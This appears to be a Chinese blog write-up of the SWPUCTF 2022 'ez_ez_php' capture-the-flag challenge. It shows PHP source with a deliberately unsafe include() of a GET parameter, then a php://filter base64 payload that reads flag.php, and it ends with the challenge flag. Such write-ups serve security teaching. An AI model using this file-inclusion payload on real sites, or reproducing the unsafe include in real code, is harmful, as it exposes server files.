[SWPUCTF 2022 新生赛]ez_ez_php

开启NSSCTF靶场,打开链接:

直接看到源码:

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

尝试用php伪协议构造payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

去base64在线解密网站中解密:

php伪协议的思路是正确的,只不过是构造payload出错了,再仔细代码审计一下:

substr($_GET["file"], 0, 3) === "php"

这行代码检查通过GET请求传递的参数file的前三个字符是否等于"php",是的话就执行

echo "Nice!!!";

include($_GET["file"]);


再看一下构造的payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

呃,没什么问题啊

(注意:这里我反应过来直接是flag就可以了,不用flag.php)


得到flag:

NSSCTF{193c4917-43e8-41d4-8f55-015b2c9aba51}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值